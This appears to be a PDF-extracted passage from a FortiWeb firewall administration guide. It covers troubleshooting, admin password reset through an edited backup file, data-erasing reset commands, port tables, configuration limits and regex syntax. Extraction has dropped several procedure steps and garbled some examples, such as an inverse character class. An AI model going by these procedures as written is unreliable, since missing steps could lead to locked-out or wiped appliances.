5. Go to Policy > Web Protection Profile and select the Inline Protection Profile tab to determine which profile
contains the related authentication policy. If the policy is not part of a profile, there is no access.
6. Make sure that inline protection profile is included in the server policy that applies to the server the user is trying to
access. If the profile is not part of the server policy, there is no access.
Authentication involves user groups, authentication rules and policy, inline protection policy, and finally, server
policy. If a user is not in a user group used in the policy for a specific server, the user will have no access.
When an administrator account cannot log in from a specific IP
If an administrator is entering his or her correct account name and password, but cannot log in from some or all
computers, examine that account’s trusted host definitions (see Trusted Host #1 on page 330). It should include all
locations where that person is allowed to log in, such as your office, but should not be too broad.

Troubleshooting 853
Remote authentication query failures
If your network administrators’ or other accounts reside on an external server (e.g. Active Directory or RADIUS), first
switch the account to be locally defined on the FortiWeb appliance. If the local account fails, correct connectivity
between the client and appliance (see Connectivity issues on page 839). If the local account succeeds, troubleshoot
connectivity between the appliance and your authentication server. If routing exists but authentication still fails, you can
verify correct vendor-specific attributes and other protocol-specific fields by running a packet trace (see Packet capture
on page 831).
Resetting passwords
If you forget the password, or want to change an account’s password, the admin administrator can reset the password.
If you forget the password of the admin administrator, you can either:
l Login via other account with prof_admin permission only by CLI console.
l Remove the admin password from the backup configuration file by web UI.
To reset an account’s password

1. Log in as the admin administrator account to web UI.
3. Click the row to select the account whose password you want to change.
5. In the New Password and Confirm Password fields, type the new password.
6. Click OK.
The new password takes effect the next time that account logs in.
To reset the admin account’s password
Option 1:
1. Connect to the CLI console with an account of prof_admin permission.
2. Run the following commands:
config system admin

edit admin
set password a
end
Option 2:
1. Login to the web UI with an account of prof_admin permission.
2. Go to Maintenance > Backup & Restore > Backup.
3. Click Backup to download the backup file.
4. Decompress the .zip file, and open the fwb_system.conf file with the editor. You are recommended to use
Notepad++.
5. Locate the config system admin command lines, remove the set password XXX line as below, and save
the file.
6. Go to Maintenance > Backup & Restore > Restore.

Troubleshooting 854
7. Click Choose File to upload the updated backup file.

8. Click Restore.
Data storage issues
If FortiWeb cannot locally store any data such as logs, reports, and website backups for anti-defacement, it might have
a damaged or corrupted hard disk. For fixes, see Hard disk corruption or failure on page 855.
If FortiWeb has been storing data but has suddenly stopped, first verify that FortiWeb has not used all of its local
storage capacity by entering this CLI command:
diagnose system mount list
to display disk usage for all mounted file systems, such as:
Filesystem 1k-blocks Used Available Use% Mounted on
/dev/ram0 61973 31207 30766 50% /
none 262144 736 261408 0% /tmp
none 262144 0 262144 0% /dev/shm
/dev/sdb2 38733 25119 11614 68% /data
/dev/sda1 153785572 187068 145783964 0% /var/log
/dev/sdb3 836612 16584 777528 2% /home
You can use alerts to notify you when FortiWeb has almost consumed its hard disk
space. For details, see SNMP traps & queries on page 727.
You can also configure FortiWeb to overwrite old logs rather than stopping logging
when the disk is full. For details, see When log disk is full on page 706.
Keep in mind, however, that this may not prevent full disk problems for other
features. To free disk space, delete files such as old reports that you no longer need.
If a full disk is not the problem, examine the configuration to determine if an administrator has disabled those features
that store data.
If neither of those indicate the cause of the problem, verify that the disk’s file system has not been mounted in read-only
mode, which can occur if the hard disk is experiencing problems with its write capabilities. For details, see Hard disk
corruption or failure on page 855.
Bootup issues
While FortiWeb is booting up, hardware and firmware components must be present and functional, or startup will fail.
Depending on the degree of failure, FortiWeb may appear to be partially functional. You may notice that you cannot
connect at all. If you can connect, you may notice that features such as reports and anti-defacement do not work. If you
have enabled logging to an external location such as a Syslog server or FortiAnalyzer, or to memory, you should notice
this log message:
log disk not mounted
Depending on the cause of failure, you may be able to fix the problem.

Troubleshooting 855
Hard disk corruption or failure
FortiWeb appliances usually have multiple disks. FortiWeb stores its firmware (operating system) and configuration files
in a flash disk, but most models of FortiWeb also have an internal hard disk or RAID that is used to store non-
configuration/firmware data such as logs, reports, and website backups for anti-defacement. During startup, after
FortiWeb loads its boot loader, FortiWeb will attempt to mount its data disk. If this fails due to errors, you will have the
opportunity to attempt to recover the disk.
To determine if one of FortiWeb’s internal disks may either:
l Have become corrupted
l Have experienced mechanical failure
view the event log. If the data disk failed to mount, you should see this log message:
date=2012-09-27 time=07:49:07 log_id=00020006 msg_id=000000000002 type=event
subtype="system" pri=alert device_id=FV-1KC3R11700136 timezone="(GMT-5:00)Eastern Time
(US & Canada)" msg="log disk is not mounted"
Connect to FortiWeb’s CLI via local console, then supply power. After the boot loader starts, you should see this
prompt:
Press [enter] key for disk integrity verification.
Pressing the Enter key will cause FortiWeb to check the hard disk’s file system to attempt to resolve any problems
discovered with that disk’s file system, and to determine if the disk can be mounted (mounted disks should appear in the
internal list of mounted file systems, /etc/mtab). During the check, FortiWeb will describe any problems that it finds,
and the results of disk recovery attempts, such as:
ext2fs_check_if_mount: Can’t detect if filesystem is mounted due to missing mtab file while
determining where /dev/sda1 is mounted.
/dev/sda1: recovering journal
/dev/sda1: clean, 56/61054976 files, 3885759/244190638 blocks
If the problem occurs while FortiWeb is still running (or after an initial reboot and attempt to repair the file system), in
the CLI, enter:
diagnose hardware harddisk list
to display the number and names of mounted file systems.

For example, on a FortiWeb 1000C with a single properly functioning internal hard disk plus its internal flash disk, this
command should show two file systems:
name size(M)
sda 1000204.89
sdb 1971.32
where sda, the larger file system, is from the hard disk used to store non-configuration/firmware data.
If that command does not list the data disk’s file system, FortiWeb did not successfully mount it. Try to reboot and run
the file system check.
If the data disk’s file system is listed and appears to be the correct size, FortiWeb could mount it. However, there still
could be other problems preventing the file system from functioning, such as being mounted in read-only mode, which
would prevent new logs and other data from being recorded. To determine this, enter:
diagnose hardware logdisk info

Troubleshooting 856
to display the count, capacity, RAID status/level, partition numbers, and read-write/read-only mount status.
For example, on a FortiWeb-1000C with a single properly functioning data disk, this command should show:
disk number: 1
disk[0] size: 976.76GB
raid level: raid1
partition number: 1
mount status: read-write
To prevent file system corruption in the future, and to prevent possible physical
damage, always make sure to shut down FortiWeb’s operating system before
disconnecting the power.
You can also display the status of each individual disk in the RAID array:
FortiWeb # diag hardware raid list
disk-number size(M) level
0(OK),1(OK), 1877274 raid1
If the file system could not be fixed by the file system check, it may be physically damaged or components may have
worn out prematurely. Most commonly, this is caused by either:
l Failing to shut down FortiWeb’s operating system before disconnecting the power (e.g. someone pulled the power
plug while FortiWeb was running)
l Logging misconfiguration (e.g. logging very frequent logs like traffic logs or debug logs for an extended period of
time to the local hard drive)
For hardware replacement, contact Fortinet Customer Service & Support:
Power supply failure
If you have supplied power, but the power indicator LEDs are not lit and the hardware has not started, the power supply
may have failed. Contact Fortinet Customer Service & Support:
After powering on, if the power indicator LEDs are lit but a few minutes have passed and you still cannot connect to the
FortiWeb appliance through the network using CLI or the web UI, you can either:
l Restore the firmware. For details, see Restoring firmware (“clean install”) on page 859.
This usually solves most typically occurring issues.
l Verify that FortiWeb can successfully complete bootup.
Always halt the FortiWeb OS before disconnecting the power. Power disruption
while the OS is running can cause damage to the disks and/or software.
To verify bootup, connect your computer directly to FortiWeb’s local console port, then on your computer, open a
terminal emulator such as PuTTY (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html). Configure it
to log all printable console output to a file so that you have a copy of the console's output messages in case you need to
send it to Fortinet Customer Service & Support:

Troubleshooting 857
Once connected, power cycle the appliance and observe the FortiWeb’s output to your terminal emulator. You will be
looking for some specific diagnostic indicators.
1. Are there console messages but text is garbled on the screen? If yes, verify your terminal emulator’s settings are
correct for your hardware. Typically, however, these are baud rate 9600, data bits 8, parity none, stop bits 1.
2. Does the hardware successfully complete the hardware power on self test (POST) and BIOS memory tests?
If not, you may need to replace the hardware. For assistance, contact Fortinet Customer Service & Support:
3. Does the boot loader start? You should see a message such as:
FortiBootLoader
FortiWeb-1000C (17:52-09.08.2011)
Ver:00010018
Serial number:FV-1KC3R11700094
Total RAM: 3072MB
Boot up, boot device capacity: 1880MB.
Press any key to display configuration menu...
If the boot loader does not start, you may need to restore it. For assistance, contact Fortinet Customer Service &
Support:
4. When pressing a key during the boot loader, do you see the following boot loader options?
Enter G,F,B,Q,or H:

If the boot loader does not start, you may need to restore it. For assistance, contact Fortinet Customer Service
& Support:
5. Can the boot loader read the image of the OS software in the selected boot partition (primary or backup/secondary,
depending on your selection in the boot loader)? You should see a message such as the following:
Reading boot image 2479460 bytes.
Initializing FortiWeb...?
System is started.
If not, the image may be corrupted. Reboot and use the boot loader to switch to the other partition, if any. For
details, see Booting from the alternate partition on page 100.
If this is not possible, you can restore the firmware. If the firmware cannot be successfully restored, format the boot
partition, and try again. For details, see Restoring firmware (“clean install”) on page 859.
If you still cannot restore the firmware, there could be either a boot loader or disk issue. Contact Fortinet Customer
Service & Support:
6. Does the login prompt appear? You should see a prompt like this:

Troubleshooting 858
FortiWeb login:
If not, or if the login prompt is interrupted by error messages, restore the OS software. If you recently upgraded the
firmware, try downgrading by restoring the previously installed, last known good, version. For details, see
Restoring firmware (“clean install”) on page 859.
If restoring the firmware does not solve the problem, there could be a data or boot disk issue. Contact Fortinet
Customer Service & Support:
If you can see and use the login prompt on the local console, but cannot successfully establish a session through
the network (web UI, SSH or Telnet), first examine a backup copy of the configuration file to verify that it is not
caused by a misconfiguration. The network interface and administrator accounts must be configured to allow your
connection and login attempt. For details, see Configuring the network settings on page 124 and Trusted Host #1
on page 330.
If the configuration appears correct, but no network connections are successful, first try restoring the firmware to
rule out corrupted data that could be causing problems. For details, see Restoring firmware (“clean install”) on page
859. You can also use this command to verify that resource exhaustion is not the problem:
diagnose system top delay 5
The process system usage statistics continues to refresh and display in the CLI until you press q (quit).
Issues forwarding non-HTTP/HTTPS traffic
If FortiWeb is operating in Reverse Proxy mode, by default, it does not forward non HTTP/HTTPS protocols to protected
servers.
However, you can use the following command to enable IP-based forwarding (routing):
set ip-forward {enable | disable}
end
Resetting the configuration
If you will be selling your FortiWeb appliance, or if you are not sure what part of your configuration is causing a problem,
you can reset it to its default settings and erase data. If you have not updated the firmware, this is the same as resetting
to the factory default settings.
Back up your configuration before beginning this procedure, if possible. Resetting

the configuration could include the IP addresses of network interfaces. For details
about backups, see Backups on page 322. For details about reconnecting to a
FortiWeb appliance whose network interface configuration was reset, see
Connecting to the web UI or CLI on page 84.
To delete your data from the appliance, connect to the CLI and enter this command:
execute formatlogdisk
To reset the appliance’s configuration, connect to the CLI and enter this command:

Troubleshooting 859
execute factoryreset
Alternatively, you can reset the appliance’s configuration to its default values for a
specific software version by restoring the firmware during a reboot (a “clean install”).
For details, see Restoring firmware (“clean install”) on page 859.
Restoring firmware (“clean install”)
Restoring (also called re-imaging) the firmware can be useful if:

l You are unable to connect to the FortiWeb appliance using the web UI or the CLI
l You want to install firmware without preserving any existing configuration (i.e. a “clean install”)
l A firmware version that you want to install requires a different size of system partition (see the Release Notes
accompanying the firmware)
l A firmware version that you want to install requires that you format the boot device (see the Release Notes
accompanying the firmware)
Unlike updating firmware, restoring firmware re-images the boot device, including the signatures that were current at
the time that the firmware image file was created. Also, restoring firmware can only be done during a boot interrupt,
before network connectivity is available, and therefore requires a local console connection to the CLI. It cannot
be done through an SSH or Telnet connection.
Alternatively, if you cannot physically access the appliance’s local console connection, connect the appliance’s local
console port to a terminal server to which you have network access. Once you have used a client to connect to the
terminal server over the network, you will be able to use the appliance’s local console through it. However, be aware that
from a remote location, you may not be able to power cycle the appliance if abnormalities occur.
To restore the firmware
Back up your configuration before beginning this procedure, if possible. Restoring

firmware resets the configuration, including the IP addresses of network interfaces.
For details about backups, see Backups on page 322. For details about
reconnecting to a FortiWeb appliance whose network interface configuration was
reset, see Connecting to the web UI or CLI on page 84.
modem cable.
3. Initiate a local console connection from your management computer to the CLI of the FortiWeb appliance, and
log in as the admin administrator, or an administrator account whose access profile contains Read and Write
permissions in the Maintenance category.

Troubleshooting 860
on your management computer.
execute reboot
reboot command.
Enter G,F,B,Q,or H:

11. If the firmware version requires that you first format the boot device before installing firmware, type F. Format the
boot disk before continuing.
15. Type the file name of the firmware image and press Enter.
to the following:
MAC:00219B8F0D94

Troubleshooting 861
###########################
Verifying the integrity of the firmware image..
16. Type D.
The FortiWeb appliance downloads the firmware image file from the TFTP server. The FortiWeb appliance installs
the firmware and restarts. The time required varies by the size of the file and the speed of your network connection.
The FortiWeb appliance reverts the configuration to default values for that version of the firmware.
17. To verify that the firmware was successfully installed, log in to the CLI and type:
get system status
The firmware version number is displayed.
18. Either reconfigure the FortiWeb appliance or restore the configuration file. For details, see How to set up your
FortiWeb on page 66 and Restoring a previous configuration on page 325.
If you are downgrading the firmware to a previous version, and the settings are not fully backwards compatible,
the FortiWeb appliance may either remove incompatible settings, or use the feature’s default values for that
version of the firmware. You may need to reconfigure some settings.
19. Update the attack definitions.
Installing firmware replaces the current attack definitions with those included with the firmware release that you are
installing. After you install the new firmware, make sure that your attack definitions are up-to-date. For details, see

Appendix A: Port numbers
Communications between the FortiWeb appliance, clients, protected web servers, and FortiGuard Distribution Network
(FDN) require that any routers and firewalls between them permit specific protocols and port numbers.
The following tables list the default port assignments used by FortiWeb.
Port Protocol Purpose
N/A ARP/NS HA failover of network interfaces. For details, see HA heartbeat on

page 114.
N/A ICMP Server health checks. For details, see Configuring server up/down
checks on page 163.
execute ping and execute traceroute. See the FortiWeb
CLI Reference (https://docs.fortinet.com/document/fortiweb/).
21 TCP Anti-defacement backup and restoration (FTP). For details, see Anti-
defacement on page 605.
FTP configuration backup. For details, see To back up the
configuration via the web UI to an FTP/SFTP server on page 323.
22 TCP Anti-defacement backup and restoration (SSH/SCP). For details, see

Anti-defacement on page 605.
SFTP configuration backup. For details, see To back up the
configuration via the web UI to an FTP/SFTP server on page 323.
25 TCP SMTP for alert email. For details, see Configuring email settings on
page 725.
53 UDP DNS queries. For details, see Configuring DNS settings on page 150.
69 UDP TFTP for backups, restoration, and firmware updates. See

commands such as execute backup or execute restore in
the FortiWeb CLI Reference
(https://docs.fortinet.com/document/fortiweb/).
80 TCP Server health checks. For details, see Configuring server up/down
checks on page 163.
123 UDP NTP synchronization. For details, see Setting the system time & date
on page 103.
137, 138, 139 UDP Anti-defacement backup and restoration (Windows-style share). For
details, see Anti-defacement on page 605.
162 UDP SNMP traps. For details, see SNMP traps & queries on page 727.
389 TCP LDAP authentication queries. For details, see Configuring an LDAP
server on page 343.

443 TCP FortiGuard service polling and update downloads. For details, see
Server health checks. For details, see Configuring server up/down
checks on page 163.
445 TCP NTLM authentication queries. For details, see Configuring an NTLM
server on page 349.
Anti-defacement backup and restoration (Windows-style share). For
details, see Anti-defacement on page 605.
514 UDP Syslog. For details, see Configuring logging on page 700.
636 TCP LDAPS authentication queries. For details, see Configuring an LDAP
server on page 343.
1812 UDP RADIUS authentication queries. For details, see Configuring a

RADIUS server on page 347.
6010 TCP HA configuration synchronization. For details, see HA heartbeat on

page 114.
6055 Proprietary protocol HA heartbeat. Layer 2 multicast. For details, see HA heartbeat on
page 114.
955 TCP Configuration replication. For details, see Replicating the

Default ports used by FortiWeb for incoming traffic (listening)
N/A ICMP ping and traceroute responses. For details, see Configuring the
22 TCP SSH administrative CLI access. For details, see Configuring the
23 TCP Telnet administrative CLI access. For details, see Configuring the
Note that Telnet access is not allowed on all of the network interfaces
by default for security reasons.
80 TCP HTTP administrative web UI access. For details, see Configuring the
network interfaces on page 126 and How to use the web UI on page
55.
Predefined HTTP service. Only occurs if the service is used by a
policy. For details, see Predefined services on page 198.
161 UDP SNMP queries. For details, see Configuring an SNMP community on
page 729 and Configuring the network interfaces on page 126.

443 TCP HTTPS administrative web UI access. Only occurs if the destination
address is a network interface’s IP address. For details, see
Configuring the network interfaces on page 126 and How to use the
web UI on page 55.
Predefined HTTPS service. Only occurs if the service is used by a
policy, and if the destination address is a virtual server or bridged
connection. For details, see Predefined services on page 198.
8333 TCP Configuration replication. For details, see Replicating the

6055 UDP HA heartbeat. Layer 2 multicast. For details, see HA heartbeat on

page 114.
6056 UDP HA configuration synchronization. Layer 2 multicast. For details, see

HA heartbeat on page 114.

Appendix B: Maximum configuration values
These tables provide the maximum number of configuration objects for FortiWeb products. They are not a guarantee of
performance. For values such as hardware specifications that do not vary by software version or configuration, see your
model’s QuickStart Guide.
Due to resource constraints, the maximums for certain objects apply to each appliance globally and you cannot increase
them by adding ADOMs. For example, the limit for server policies is a global one that applies to the appliance, you can
configure only 256 server policies, regardless of how many ADOMs you use.
While the maximums for other objects apply at the ADOM level only, so you can add objects beyond the maximum by
adding ADOMs. For example, for a FortiWeb 1000D, you can configure up to 1024 URL Access polices for each of the
32 possible ADOMs because the limit applies to each ADOM, not the appliance.
Depending on the RAM available, adding the maximum number of objects to multiple ADOMs can have an impact on
your FortiWeb's performance. Fortinet recommends that you do not add the maximum number of objects in all ADOMs.
Per appliance configuration maximums - ADOMs, server policies, Virtual IPs, server
objects, and domains in ML policies
The configuration maximums for the following items apply at the appliance level, and the maximums vary on each
model, as shown in the following table.
Server Objects
FortiWeb ADOMs Server Domains in
Virtual Server Pool Virtual
model policies ML policies
IPs pools members servers
FortiWeb 0 32 1024 256 1024 1024 4

100D
FortiWeb 32 64 1024 256 1024 1024 6

400C
FortiWeb 32 64 1024 256 1024 1024 6

400D
FortiWeb 32 64 1024 256 1024 1024 6

400E
FortiWeb 32 96 1024 384 1024 1024 16

600D
FortiWeb 32 96 1024 384 1024 1024 16

600E
FortiWeb 64 256 1024 512 1024 1024 32

1000D
FortiWeb 64 256 6000 6000 12000 6000 32

Server Objects
FortiWeb ADOMs Server Domains in
Virtual Server Pool Virtual
model policies ML policies
IPs pools members servers
1000E
FortiWeb 64 256 6000 6000 12000 6000 64

2000E
FortiWeb 32 256 1024 256 1024 1024 16

3000C
FortiWeb 32 256 1024 256 1024 1024 16

3000CFsx
FortiWeb 64 512 1024 512 1024 1024 32

3000D
FortiWeb 64 512 1024 512 1024 1024 32

3000DFsx
FortiWeb 64 512 6000 6000 12000 6000 64

3000E
FortiWeb 64 512 6000 6000 12000 6000 64

3010E
FortiWeb 32 512 1024 256 1024 1024 32

4000C
FortiWeb 64 1024 1024 1024 1024 1024 64

4000D
FortiWeb 64 1024 6000 6000 12000 6000 128

4000E
FortiWeb- Varies with For details, 1024 256 1024 1024 Varies with
VM memory size: see Maximum memory size:
l 4 values on l 4
(memory FortiWeb-VM (memory
< 4G); on page 876. < =4G);
l 12 l 8
(memory (memory
< 8G); < =8G);
l 32 l 16
(memory (memory
< 16G); < =16G);
l 64 l 32
(memory (memory
>= 16G) >16G)

Per appliance configuration maximums - Network and Certificates
The configuration maximums for Network and Certificates apply also at the appliance level.
For the certificates marked with ^ in the following table, their configuration maximums are increased to 5000 on
FortiWeb appliances 1000E, 2000E, 3000E, 3010E, and 4000E. For other models, their configuration maximums are as
shown in the table.
Web UI item Main table Sub-table
System
Interface 1024 (total VLAN N/A

interfaces)
Network
Policy Route 250 N/A
Static Route 256 N/A
Certificates Local^ 512 N/A
Multi-certificate^ 256 N/A
OCSP Stapling 256 N/A
Inline SNI^ 1024 512
Offline SNI 1024 512
CA^ 256 N/A
TSL CA 256 N/A
CA Group 256 256
Sign CA 256 N/A
Intermediate CA^ 256 N/A
Intermediate CA Group 256 256
CRL^ 256 N/A
CRL Group 256 256
Certificate Verify^ 256 N/A
Server Certificate Verify 256 N/A
URL Certificate 256 256
Public Key Pinning 256 N/A
Server Certificate 256 256
Client Certificate 256 N/A
Client Certificate Group 256 256

Per ADOM configuration maximums
The maximums for the following objects apply at the ADOM level only, so you can add objects beyond the maximum by
adding ADOMs.
Web Protection Inline Protection Profile 256 N/A

Profile
Offline Protection Profile 256 N/A
Server Objects Health Check 256 16
Persistence 256 N/A
HTTP Content Routing 512 256
Protected Hostnames 256 255
Service Predefined 5 N/A
Custom 256 N/A
Traffic Mirror 256 256
Predefined Global White List N/A (Predefined N/A

list. Can't be
edited)
Custom Global White List 256 N/A
Data Type No limit N/A
Custom Data Type 256 N/A
X- Forwarded-For 256 256
Application Delivery
URL Rewriting URL Rewriting Policy 256 256

Policy
URL Rewriting Rule 256 10
Authentication Authentication Policy 256 256

Policy
Authentication Rule 256 256
Site Publish Site Publish Policy 256 256
Site Publish Rule 256 N/A
Keytab File 256 N/A
Authentication Server Pool 256 256
Service Principal Name Pool 256 256

Compression File Compress Policy 256 10
Exclusion Rule 256 256
Caching Web Cache Policy 256 256
Bypass URL 256 N/A
Cookie List 256 N/A
Acceleration Acceleration Policy 256 N/A
Acceleration Exception 256 256
Web Protection
Known attacks Signatures/Exceptions 64 Enabled main

classes: 64
Disabled sub-
classes: 256
Disabled
signature
table: 2048
Filter table:
10240
Note: It's
allowed to
create at
most 128
filters for the
same
signature-id.
Score disable
table : 256
Score grade
table : 256
Alert-only
table: 1024
Disabled
False Positive
Mitigation
table: 256
Global Disable Signature 1024 N/A
Custom Signature Group 256 64

Custom Signature 256 256

Advanced Custom Policy 1024 1024

Protection

Custom Rule 1024 Source

IPv4/IPv6:
256
GEO IP: 256
User: 256
Time period:
1
URL: 256
HTTP
Header: 256
Access Rate
Limit: 1
Signature
main class:
256
Signature
sub-class:
256
Signature:
10240
Custom
signature: 1
Transaction
Timeout: 1
Response
Code: 256
Content
Type: 1
Packet
Interval
Timeout: 1
Parameter:
256
Occurrence: 1
Padding Oracle Protection 256 256

CSRF Protection Rule 256 256
HTTP Header Security Policy 256 256
Man in the Browser Protection Rule 256 256
Man in the Browser Protection Policy 256 256
URL Encryption Policy 256 256
URL Encryption Rule 256 256
SQL/XSS Syntax Based Detection 256 256
Cookie Security Cookie Security 256 256
Input Validation Parameter Validation Policy 256 1024
Parameter Validation Rule 1024 192
Hidden Fields Policy 256 256
Hidden Fields Rule 256 32 (Hidden

Fields Table)
10 (Post URL
Table)
File Security Policy 256 256
File Security Rule 256 256
Protocol HTTP Protocol Constraints 256 N/A
HTTP Constraints Exception 256 32
WebSocket Security Policy 256 256
WebSocket Security Rule 256 256
Access URL Access Policy 1024 1024
URL Access Rule 1024 32
Allow Method Policy 256 N/A
Allow Method Exceptions 256 32
IP List 256 256
Geo IP 256 256
Geo IP Exceptions 256 256
Allowed Origin 256 256
CORS Protection Rule 256 256
CORS Protection Policy 256 256

FTP Security
FTP Command Restriction 256 256
FTP File Security 256 N/A
DoS Protection
Application HTTP Access Limit 256 N/A
Malicious IPs 256 N/A
HTTP Flood Prevention 256 N/A
Network TCP Flood Prevention 256 N/A
Dos Protection Policy 256 N/A
IP Reputation
Exceptions 256 N/A
Tracking
User Tracking User Tracking Rule 256 10
User Tracking Policy 256 256
Machine Learning
Anomaly Detection Policy 256 256
Bot Detection Policy 256 256
Machine URL Replacer Policy 256 256

Learning
Templates URL Replacer Rule 256 256
Predefined Data Type Group 256 512

Pattern
Data Type None N/A
URL Pattern None N/A
Suspicious URL 256 512
Custom Pattern Data Type 256 N/A
Suspicious URL Policy 256 64
Suspicious URL Rule 256 N/A
Application Application Policy 256 256

Templates
URL Replacer 256 N/A

Web Vulnerability Scan
Web Vulnerability Scan Policy 256 N/A
Scan Profile Scan Profile 256 N/A
Scan Template 256 N/A
Web Vulnerability Scan Schedule 256 N/A
Scanner Integration N/A N/A
API Protection
JSON JSON Protection Policy 256 256

Protection
JSON Protection Rule 256 N/A
JSON Schema 256 N/A
XML Protection XML Protection Policy 256 256
XML Protection Rule 256 N/A
XML Schema 256 N/A
WSDL 256 N/A
Exempted URLs 256 256
WS-Security Rule 256 256
OpenAPI OpenAPI Validation Policy 256 256

Validation
Policy
OpenAPI File 256 N/A
API Gateway API User 256 32
API User Group 256 256
API Gateway Rule 256 N/A
API Gateway Policy 256 256

Bot Mitigation Biometrics Based Detection 256 256
Threshold Based Detection 256 N/A
Bot Deception 256 256
Bot Mitigation Policy 256 N/A
Mobile API Protection Policy 256 256
Mobile API Protection Rule 256 256
Known Bots 256 256
Maximum values on FortiWeb-VM
FortiWeb-VM has 10 virtual network interfaces (vNICs, or virtual ports).

The maximum number of server policies initially varies by the maximum amount of virtual memory (vRAM) available to
FortiWeb-VM, up to a hard limit. FortiWeb-VM allows up to 20 policies for the first 1 GB of vRAM, then an additional 15
policies per additional 1 GB of vRAM, up to a maximum of 150 server policies.
In other words, at first, the server policy limit increases linearly with vRAM. But after 10 GB of vRAM, further increasing
the vRAM no longer has an affect. 11 GB or more vRAM allows up to 150 server policies. Keep in mind that increasing
the vRAM may still benefit performance.

Appendix C: Supported RFCs, W3C, & IEEE standards
This release of FortiWeb supports the following IETF RFCs, W3C standards, and IEEE standards.
RFCs
RFC 792
Description: Internet Control Message Protocol

Category: Internet Standard
Webpage: https://tools.ietf.org/html/rfc792
RFC 1213
Description: Management Information Base for Network Management of TCP/IP-based internets: MIB-II

Category: Internet Standard
RFC 2548
Description: Microsoft Vendor-specific RADIUS Attributes

Category: Informational
RFC 2616
Description: Hypertext Transfer Protocol – HTTP/1.1

Category: Standards Track
RFC 2617
Description: HTTP Authentication: Basic and Digest Access Authentication


RFC 2665
Description: Definitions of Managed Objects for the Ethernet-like Interface Types

RFC 2965
Description: HTTP State Management Mechanism

RFC 4918
Description: HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)

RFC 5280
Description: Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile
RFC 6176
Description: Prohibiting Secure Sockets Layer (SSL) Version 2.0

To enable violation of RFC 6176, see weak_enc and ssl-md5 settings under the config system global
command in the FortiWeb CLI Reference:
W3C standards
Extensible markup language (XML) 1.0 (Third Edition)
Webpage: https://www.w3.org/TR/2004/REC-xml-20040204

XML Current Status
Webpage: https://www.w3.org/standards/techs/xml#w3c_all
IEEE standards
Std 802.1D
Description: IEEE Standard for Local and Metropolitan Area Networks: Media Access Control (MAC) Bridges
Webpage: http://standards.ieee.org/getieee802/download/802.1D-2004.pdf
Std 802.1Q
Description: Virtual LANs

Webpage: http://www.ieee802.org/1/pages/802.1Q.html
Std 802.1ad
Description: Virtual LANs

Webpage: http://www.ieee802.org/1/pages/802.1ad.html

Appendix D: Regular expressions
Most FortiWeb features support regular expressions. Regular expressions are a powerful way of denoting all possible
forms of a string. They are very useful when trying to match text that comes in many variations but follows a definite
pattern, such as dynamic URLs or web page content.
Regular expressions can involve very computationally intensive evaluations. For best performance, you
should only use regular expressions where necessary, and build them with care. For details about
optimization, see Regular expression performance tips on page 799.
See also

l Language support on page 888
Regular expression syntax
Accurate regular expression syntax is vital for detecting different forms of the same attack, for rewriting all but only
the intended URLs, and for allowing normal traffic to pass. For details, see Reducing false positives on page 802. When
configuring Regular Expression on page 502 or similar settings, always use the >> (test) button to:
l Validate your expression’s syntax.
l Look for unintended matches.
l Verify intended matches.
Will your expression match? Will it match more than once? Where will it match? Generally, unless the feature is
specifically designed to look for all instances, FortiWeb will evaluate only a specific location for a match, and it will start
from that location’s beginning. (In English, this is the left most, topmost point in the string.) FortiWeb will take only the
first match, unless you have defined a number of repetitions.
FortiWeb follows most Perl-compatible regular expression (PCRE; see http://www.pcre.org) syntax. The below table
shows syntax and popular grammar examples. You can find additional examples with each feature, such as Example:
Sanitizing poisoned HTML on page 638.
Inverse string matching is not currently supported.

For example, to match all strings that do not contain hamsters, you cannot use:
!(hamsters)
You can, however, use inverse matching for specific character classes, such as:
[Â]
to match any string that contains any characters that are not the letter A.

Popular FortiWeb regular expression syntax
Notation Function Sample Matches

Anything except Literal match, except if the character is part of a: Text: My cat catches things.
*.|^$?+\(){}[] l Capture group Regular expression: cat
l Back-reference (e.g. $0 or \1) Matches: cat
l Other regular expression token (e.g. \w) Depending on whether the feature
looks for all instances, it may also
match “cat” in the beginning of
“catches”.
\ Escape character. If it is followed by: Text: /url?parameter=value

l An alphanumeric character, the alphanumeric Regular expression: \?param
character is not matched literally as usual. Matches: ?param
Instead, it is interpreted as a regular
expression token. For example, \w matches a
word, as defined by the locale.
l Any regular expression special character:
*.|^$?+\(){}[]\
this escapes interpretation as a regular expression
token, and instead treats it as a normal letter. For
example, \\ matches:
\
(?i) Turns on case-insensitive matching for subsequent Text: /url?Parameter=value

evaluation, until it is turned off or the evaluation Regular expression: (?i)param
completes. Matches: Param
Would also match pArAM etc.
\n Matches a new line (also called a line feed). Text: My cat catches things.
Microsoft Windows platforms typically use \r\n at Regular expression: \n
the end of each line. Linux and Unix platforms Matches: The end of the text on
typically use \n. Mac OS X typically uses \r Linux and other Unix-like platforms,
only part of the line ending on
Windows, and nothing on Mac OS X.
\r Matches a carriage return. Text: My cat catches things.

Regular expression: \r
Matches: Part of the line ending on
Windows, nothing on Linux/Unix, and
the whole line ending on Mac OS X.
\s Matches a space, non-breaking space, tab, line Text: <a

ending, or other white space character. href=‘http://www.example.com’>
Tip: Many languages do not separate words with Regular expression:
white space. Even in languages that usually use a www\.example\.com\s
white space separator, words can be separated with Matches: Nothing.
new lines and many other characters such as:


\/-”’"“‘.,><—:; Due to the final ’ which is a word
boundary but not a white space, this
In these cases, you should usually include those in does not match. The regular
addition to \s in a match set ( [] ) or may need to expression should be:
use \b (word boundary) instead. www.example.com\b
\S Matches a character that is not white space, such Text: My cat catches things.
as A or 9. Regular expression: \S
Matches: Mycatcatchesthings.
\d Matches a decimal digit such as 9. Text: /url?parameterA=value1
Regular expression: \d
Matches: 1
\D Matches a character that is not a digit, such as A or
b or É.
\w Matches a whole word. Text: Yahoo!

Words are substrings of any uninterrupted Regular expression: \w
combination of one or more characters from this Matches: Yahoo
set: Does not match the terminal
[a-zA-Z0-9_] exclamation point, which is a word
between two word boundaries (space, new line, :, boundary.
etc.).
It does not match Unicode characters that are
equivalent, such as 三 , ٣‎ or 光 .
\W Matches anything that is not a word. Text: Sell?!?~

Regular expression: \W
Matches: ?!?~
. Matches any single character except \r or \n. Text: My cat catches things.
Note: If the character is written by combining two Regular expression: c.t
Unicode code points, such as à where the core Matches: cat cat
letter is encoded separately from the accent mark,
this will not match the entire character: it will only
match one of the code points.
+ Repeatedly matches the previous character or Text: www.example.com

capture group, 1 or more times, as many times as Regular expression: w+
